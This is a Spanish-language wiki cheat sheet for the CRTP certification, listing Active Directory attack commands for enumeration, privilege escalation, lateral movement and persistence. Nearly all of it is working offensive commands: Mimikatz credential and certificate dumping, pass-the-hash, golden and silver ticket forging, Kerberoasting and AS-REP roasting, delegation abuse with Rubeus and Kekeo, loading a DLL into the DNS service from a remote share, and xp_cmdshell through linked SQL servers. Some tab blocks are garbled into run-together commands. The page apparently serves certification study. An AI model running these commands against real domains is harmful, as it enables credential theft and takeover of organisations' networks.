> For the complete documentation index, see [llms.txt](https://wiki.securiters.com/securiters-wiki/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://wiki.securiters.com/securiters-wiki/certificaciones/repaso-crtp.md).

# Repaso CRTP

## 1. Enumeración

* Importar script

{% tabs %}
{% tab title="PowerView" %}

```
. .\Powerview.ps1
```

{% endtab %}

{% tab title="Módulo AD" %}

```
Import-Module ActiveDirectory.ps1
. .\ActiveDirectory.ps1
```

{% endtab %}
{% endtabs %}

* Obtener el dominio&#x20;

{% tabs %}
{% tab title="PowerView" %}

```
Get-NetDomain
Get-NetDomain -Domain powershell.local
```

{% endtab %}

{% tab title="Módulo AD" %}

```
Get-ADDomain
Get-ADDomain -Identity powershell.local
(Get-ADDomain).DomainSID.Value
```

{% endtab %}
{% endtabs %}

* Obtener los Controladores de Dominio (DC)

{% tabs %}
{% tab title="PowerView" %}

```
Get-NetDomainController
Get-NetDomainController -Domain powershell.local
```

{% endtab %}

{% tab title="Módulo AD" %}

```
Get-ADDomainController
Get-ADDomainController -Discover -DomainName powershell.local
```

{% endtab %}
{% endtabs %}

* Obtener usuarios de un dominio

{% tabs %}
{% tab title="PowerView" %}

```
Get-NetUser
Get-NetUser -Domain powershell.local
Get-NetUser –Username labuser
whoami /priv
```

{% endtab %}

{% tab title="Módulo AD" %}

```
Get-ADUser -Filter * -Properties *
Get-ADUser -Server ps-dc.powershell.local
Get-ADUser -Identity labuser
```

{% endtab %}
{% endtabs %}

* Obtejer listado de propiedades de los usuarios del Dominio

{% code overflow="wrap" %}

```
Get-UserProperty
Get-UserProperty –Properties pwdlastset
Get-ADUser -Filter * -Properties * | select -First 1 | Get-Member -MemberType *Property | select Name
Get-ADUser -Filter * -Properties * | select name,@{expression={[datetime]::fromFileTime($_.pwdlastset)}}
```

{% endcode %}

* Obtener los grupos de un dominio

{% tabs %}
{% tab title="PowerView" %}
Get-NetGroup Get-NetGroup \*Get-ADGroup -Filter \* | select Name Get-ADGroup -Filter 'Name -like "*admin*"' | select NameGet-ADGroup -Filter \* | select Name Get-ADGroup -Filter 'Name -like "*admin*"' | select Name*admin\**
{% endtab %}

{% tab title="Módulo AD" %}

```
Get-ADGroup -Filter * | select Name 
Get-ADGroup -Filter 'Name -like "*admin*"' | select Name
```

{% endtab %}
{% endtabs %}

* Obtener los miembros del grupo "Domain Admins"

{% tabs %}
{% tab title="PowerView" %}

```
Get-NetGroupMember -GroupName "Domain Admins" -Recurse
```

{% endtab %}

{% tab title="Módulo AD" %}

```
Get-ADGroupMember -Identity "Domain Admins" -Recursive
```

{% endtab %}
{% endtabs %}

* Obtener los grupos a los que pertenece el usuario "labuser"

{% tabs %}
{% tab title="PowerView" %}

```
Get-NetGroup –UserName "labuser"
```

{% endtab %}

{% tab title="Módulo AD" %}

```
Get-ADPrincipalGroupMembership -Identity labuser 
```

{% endtab %}
{% endtabs %}

* Obtener todos los equipos de un dominio

{% tabs %}
{% tab title="PowerView" %}
{% code overflow="wrap" %}

```
Get-NetComputer
Get-NetComputer -FullData
Get-NetComputer –OperatingSystem "*Server 2016*"
Get-NetComputer -Ping
Get-NetComputer -FullData
```

{% endcode %}
{% endtab %}

{% tab title="Módulo AD" %}
{% code overflow="wrap" %}

```
Get-ADComputer -Filter * | select Name
Get-ADComputer -Filter * -Properties *
Get-ADComputer -Filter 'OperatingSystem -like "*Server 2016*"' Get-ADComputer -Filter 'OperatingSystem -like "Server 2016"' -
Get-ADComputer -Filter * Properties DNSHostName | %{Test-Connection -Count 1 -ComputerName $_.DNSHostName}
Get-ADComputer -Filter * -Properties *
```

{% endcode %}
{% endtab %}
{% endtabs %}

* Obtener todos los grupos de un dominio

```
Get-NetGroup
Get-NetGroup –Domain <targetdomain>
Get-NetGroup –FullData
Get-ADGroup -Filter * | select Name
Get-ADGroup -Filter * -Properties *
```

* Obtener todos los grupos locales de una máquina

```
Get-NetLocalGroup -ComputerName dcorpdc.dollarcorp.moneycorp.local -ListGroups
Get-NetLocalGroup -ComputerName dcorpdc.dollarcorp.moneycorp.local -Recurse
```

* Obtener los usuarios autenticados en una máquina

```
Get-NetLoggedon –ComputerName <servername>
Get-LoggedonLocal -ComputerName <machine>
```

* Obtener el último usuario autenticado en una máquina

```
Get-LastLoggedOn –ComputerName <servername>
```

* Obtener recursos compartidos en el dominio

```
Invoke-ShareFinder –Verbose
Invoke-FileFinder –Verbose
Get-NetFileServer
```

* Obtener todas las máquinas del dominio donde el usuario autenticado tiene privilegios de local admin

```
Find-LocalAdminAccess -Verbose
Invoke-EnumerateLocalAdmin -Verbose
Invoke-CheckLocalAdminAccess
```

* Obtener las sesiones de una máquina&#x20;

```
Get-NetSession -ComputerName ops-dc
```

* Obtener máquinas donde el Domain Admin se ha autenticado&#x20;

```
Invoke-UserHunter –CheckAccess
Invoke-UserHunter -Stealth
```

* Obtener las relaciones de confianza del dominio

{% tabs %}
{% tab title="PowerView" %}

```
Get-NetDomainTrust
Get-NetDomainTrust –Domain redps.offensiveps.powershell.local
```

{% endtab %}

{% tab title="Módulo AD" %}

```
Get-ADTrust -Filter *
Get-ADTrust –Identity redps.offensiveps.powershell.local
```

{% endtab %}
{% endtabs %}

* Obtener la información de los forests

{% tabs %}
{% tab title="PowerView" %}

```
Get-NetForest
Get-NetForest –Forest defensiveps.local
```

{% endtab %}

{% tab title="Módulo AD" %}

```
Get-ADForest
Get-ADForest –Identity defensiveps.local
```

{% endtab %}
{% endtabs %}

* Obtener los dominios de los forests

{% tabs %}
{% tab title="PowerView" %}

```
Get-NetForestDomain
Get-NetForestDomain –Forest defensiveps.local
```

{% endtab %}

{% tab title="Módulo AD" %}

```
(Get-ADForest).Domains
```

{% endtab %}
{% endtabs %}

* Obtener las relaciones de confianza en los forests

{% tabs %}
{% tab title="PowerView" %}

```
Get-NetForestTrust
Get-NetForestTrust –Forest defensiveps.local
```

{% endtab %}

{% tab title="Módulo AD" %}

```
Get-ADTrust -Filter 'msDS-TrustForestTrustInfo -ne "$null"'
```

{% endtab %}
{% endtabs %}

### GPOs (Group Policy Object)

* Obtener las GPOs del dominio

{% code overflow="wrap" %}

```
Get-NetGPO
Get-NetGPO -ComputerName dcorpstudent1.dollarcorp.moneycorp.local
Get-GPO -All (GroupPolicy module)
Get-GPResultantSetOfPolicy -ReportType Html -Path C:\Users\Administrator\report.html (Provides RSoP)
```

{% endcode %}

* Obtener equipos donde un usuario es miembro de un grupo

```
Find-GPOLocation -UserName student1 -Verbose
```

### OU (Organizational Unit)

* Obtener OUs de un dominio

```
Get-NetOU -FullData
Get-ADOrganizationalUnit -Filter * -Properties *
```

* Obtener GPO que aplica a una OU

```
Get-NetGPO -GPOname "{AB306569-220D-43FF-B03B-83E8F4EF8081}"
Get-GPO -Guid AB306569-220D-43FF-B03B-83E8F4EF8081
```

### ACLs (Access Control List)

* Obtener ACL de un usuario

```powershell
Get-ObjectAcl -SamAccountName student1 –ResolveGUIDs
```

* Obtener ACLs con un path específico&#x20;

```powershell
Get-PathAcl -Path "\\\\dcorp-dc.dollarcorp.moneycorp.local\\sysvol"
```

### BloodHound

```
Invoke-BloodHound -CollectionMethod All
Invoke-BloodHound -CollectionMethod All -ExcludeDC
```

## 2. Escalada de Privilegios Local

* Obtener los servicios que el usuario actual puede modificar

```
Get-ModifiableService -Verbose
```

* Ejecutar AllChecks

```
Invoke-AllChecks
```

* Herramientas para enumerar información de la máquina que permita eleva privilegios

  * PowerUp

  ```powershell
  Invoke-AllChecks
  ```

  * BeRoot

  ```powershell
  .\\beRoot.exe
  ```

  * Privesc

  ```powershell
  Invoke-PrivEsc
  ```

## 3. Movimiento Lateral

### Powershell Remoting

* Cmdlets útiles

```powershell
New-PSSession
Enter-PSSession
Invoke-Command
```

* Ejecutar comandos/scripts en equipos
* Usa –Credential para indicar el username/password.

{% code overflow="wrap" %}

```powershell
Invoke-Command –Scriptblock {Get-Process} -ComputerName (Get-Content <list_of_servers>)
```

{% endcode %}

* Ejecutar scripts de ficheros

{% code overflow="wrap" %}

```jsx
Invoke-Command –FilePath C:\\scripts\\Get-PassHashes.ps1 -ComputerName (Get-Content <list_of_servers>)
```

{% endcode %}

* Crear sesiones remotas con "estado" (Stateful)

```jsx
$Sess = New-PSSession –Computername Server1 -Creds 
Enter-PSSession $sess

winrs -r:machine powershell
```

### Mimikatz & tokens

* Mostrar las credenciales en una máquina local

```bash
Invoke-Mimikatz -DumpCreds
```

* Mostrar los certificados de una máquina local

```bash
Invoke-Mimikatz –DumpCerts
```

* Mostrar las credenciales de máquinas remotas

```bash
Invoke-Mimikatz -DumpCreds -ComputerName @("sys1","sys2")
```

* Ejecutar una consola de powershell suplantando al usuario Administrator.

{% code overflow="wrap" %}

```jsx
Invoke-Mimikatz -Command '"sekurlsa::pth /user:Administrator /domain:domain.local /ntlm:<ntlmhash> /run:powershell.exe"'
```

{% endcode %}

#### Manipulación de tokens

* Listar todos los tokens de una máquina&#x20;

```bash
Invoke-TokenManipulation –ShowAll
Invoke-TokenManipulation -Enumerate
```

* Comenzar un proceso con el token de un usuario

```bash
Invoke-TokenManipulation -ImpersonateUser -Username “domain\\user"
```

## 4. Persistencia

### Silver Ticket

* Usa el hash del usuario Administrator en la máquina dc.domain.local para solicitar acceso a los recursos compartidos (servicio CIFS)

{% code overflow="wrap" %}

```powershell
Invoke-Mimikatz -Command '"kerberos::golden /domain:domain.local /sid:Administrator_SID /target:dc.domain.local /service:CIFS /rc4:RC4 /user:Administrator /ptt"'
```

{% endcode %}

### Golden Ticket

Los golden ticket están firmados con el hash del usuario krbtgt.

* Ejecutar mimikatz en el DC como DA para conseguir el hash del usuario krbtgt

```powershell
Invoke-Mimikatz -Command '"lsadump::lsa /patch"' –Computername dcorp-dc
```

* Crear un golden ticket

{% code overflow="wrap" %}

```powershell
Invoke-Mimikatz -Command '"kerberos::golden /User:Administrator /domain:domain.local /sid:KRBTGT_SID /krbtgt:KRBTGT_NTLM id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt"'
```

{% endcode %}

## 5. Escalada de Privilegios

### Kerberoast

* Enumerar usuarios

{% tabs %}
{% tab title="PowerView" %}

```
Get-NetUser –SPN
```

{% endtab %}

{% tab title="Módulo AD" %}
{% code overflow="wrap" %}

```
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
```

{% endcode %}
{% endtab %}
{% endtabs %}

* Solicitar un TGS

{% code overflow="wrap" %}

```powershell
Add-Type -AssemblyName System.IdentityModel 
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/domain.local"
```

{% endcode %}

* Comprobar si se ha creado

```
klist
```

* Exportar todos los tickets

```
Invoke-Mimikatz -Command '"kerberos::list /export"'
```

* Crackear la contraseña con tgsrepcrack, john o hashcat

### AS-REP Roasting

* Enumerar usuarios

{% tabs %}
{% tab title="PowerView\_dev" %}

```
Get-DomainUser -PreauthNotRequired -Verbose
```

{% endtab %}

{% tab title="Módulo AD" %}
{% code overflow="wrap" %}

```
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties DoesNotRequirePreAuth
```

{% endcode %}
{% endtab %}
{% endtabs %}

```
Get-ASREPHash -UserName VPN1user -Verbose
```

* Enumerar los usuarios con la pre-autenticación deshabilitada

```
Invoke-ASREPRoast -Verbose
```

### SPN

* Enumerar usuarios (PowerView\_dev)

{% tabs %}
{% tab title="PowerView\_dev" %}

```
Get-DomainUser -Identity supportuser | select serviceprincipalname
```

{% endtab %}

{% tab title="Módulo AD" %}
{% code overflow="wrap" %}

```
Get-ADUser -Identity supportuser -Properties ServicePrincipalName | select ServicePrincipalName
```

{% endcode %}
{% endtab %}
{% endtabs %}

* Configurar SPN para un usuario

{% tabs %}
{% tab title="PowerView\_dev" %}
{% code overflow="wrap" %}

```
Set-DomainObject -Identity support1user -Set @{serviceprincipalname='ops/whatever1'}
```

{% endcode %}
{% endtab %}

{% tab title="Módulo AD" %}

```
Set-ADUser -Identity support1user -ServicePrincipalNames @{Add='ops/whatever1'}
```

{% endtab %}
{% endtabs %}

* Solicitar un TGS

{% code overflow="wrap" %}

```
Add-Type -AssemblyNAme System.IdentityModel 
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ops/whatever1"
```

{% endcode %}

* Comprobar si se ha creado el TGS

```powershell
klist.exe
```

* Exportar los tickets

```powershell
Invoke-Mimikatz -Command '"kerberos::list /export"'
```

* Crackear la contraseña con tgsrepcrack, john o hashcat

### Delegations

#### Unconstrained

Es posible solicitar cualquier servicio en cualquier máquina del dominio

* Discover domain computers which have unconstrained delegation enabled using PowerView:

```jsx
Get-NetComputer -UnConstrainedin
```

* Run following command on it to check if any DA token is available:

```jsx
Invoke-Mimikatz –Command '"sekurlsa::tickets"'
```

#### Constrained

Es posible solicitar servicios específicos en máquinas específicas del dominio

* Enumerar usuarios

{% tabs %}
{% tab title="PowerView\_dev" %}

```
Get-DomainUser –TrustedToAuth
Get-DomainComputer –TrustedToAuth
```

{% endtab %}
{% endtabs %}

* A través de Kekeo se solicita un TGT

{% code overflow="wrap" %}

```powershell
kekeo# tgt::ask /user:websvc /domain:dollarcorp.moneycorp.local /rc4:cc098f204c5887eaa8253e7c2749156f
```

{% endcode %}

* A través de kekeo se usa el TGT para crear un TGS con el servicio CIFS

{% code overflow="wrap" %}

```powershell
Invoke-Mimikatz tgs::s4u /tgt:TGT_websvc@DOLLARCORP.MONEYCORP.LOCAL_krbtgt~dollar-corp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL.kirbi /user:Administrator@dollarcorp.moneycorp.local /service:cifs/dcorp-mssql.dollarcorp.moneycorp.LOCAL
```

{% endcode %}

* Inyecta el ticket con mimikatz

{% code overflow="wrap" %}

```jsx
Invoke-Mimikatz -Command '"kerberos::ptt TGS_Administrator@domain.local@DOMIAIN.LOCAL_cifs~dcorpmssql.dollarcorp.moneycorp.LOCAL@DOLLARCORP.MONEYCORP.LOCAL.kirbi"'
```

{% endcode %}

También es posible crear el TGS con Rubeus

{% code overflow="wrap" %}

```powershell
.\\Rubeus.exe s4u /user:websvc /rc4:cc098f204c5887eaa8253e7c2749156f /impersonateuser:Administrator /msdsspn:"CIFS/dcorpmssql.dollarcorp.moneycorp.LOCAL" /ptt /output:patata.kirbi
```

{% endcode %}

Se comprueba que el servicio se ha validado correctamente

```powershell
ls \\\\dcorp-mssql.dollarcorp.moneycorp.local\\c$
```

### DNSAdmin

* Enumerar los miembros del grupo DNSAdmin

{% tabs %}
{% tab title="PowerView" %}

```
Get-NetGroupMember -GroupName "DNSAdmins"
```

{% endtab %}

{% tab title="Módulo AD" %}

```
Get-ADGroupMember -Identity DNSAdmins
```

{% endtab %}
{% endtabs %}

* Configurar la DLL usando dnscmd.exe (necesita RSAT DNS)

```
dnscmd dcorp-dc /config /serverlevelplugindll \\172.16.50.100\dll\mimilib.dll
```

* Usar el módulo de DNS (necesita RSAT DNS)

```
$dnsettings = Get-DnsServerSetting -ComputerName dcorp-dc -Verbose -All
$dnsettings.ServerLevelPluginDll ="\\172.16.50.100\dll\mimilib.dll"
Set-DnsServerSetting -InputObject $dnsettings -ComputerName dcorp-dc -Verbose
```

* Reiniciar el servicio DNS

```powershell
sc \\dcorp-dc stop dns
sc \\dcorp-dc start dns
```

## 6. MSSQL Servers

Usamos [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL)&#x20;

* Para enumerar

```powershell
Get-SQLInstanceDomain
```

* Comprobar accesibilidad

```powershell
Get-SQLConnectionTestThreaded
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose
```

* Obtener información&#x20;

```powershell
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
```

### Database Links

* Buscar servidores

```powershell
Get-SQLServerLink -Instance dcorp-mssql -Verbose
Get-SQLServerLinkCrawl -Instance dcorp-mssql -Verbose
```

* La función Openquery() se puede usar para ejecutar peticiones

{% code overflow="wrap" %}

```powershell
select * from openquery("dcorp-sql1",'select * from master..sysservers')
select * from openquery("dcorp-sql1",'select * from openquery("dcorpmgmt",''select * from master..sysservers'')')
```

{% endcode %}

* Ejecutar comandos a través de xp\_cmdshell

{% code overflow="wrap" %}

```powershell
EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT "eu-sql"

Get-SQLServerLinkCrawl -Instance dcorp-mssql -Query **"exec master..xp_cmdshell 'whoami'"**

select * from openquery("dcorp-sql1",'select * from openquery("dcorpmgmt",''select * from openquery("eu-sql.eu.eurocorp.local",''''select @@version as version;exec master..xp_cmdshell "powershell whoami)'''')'')')
```

{% endcode %}
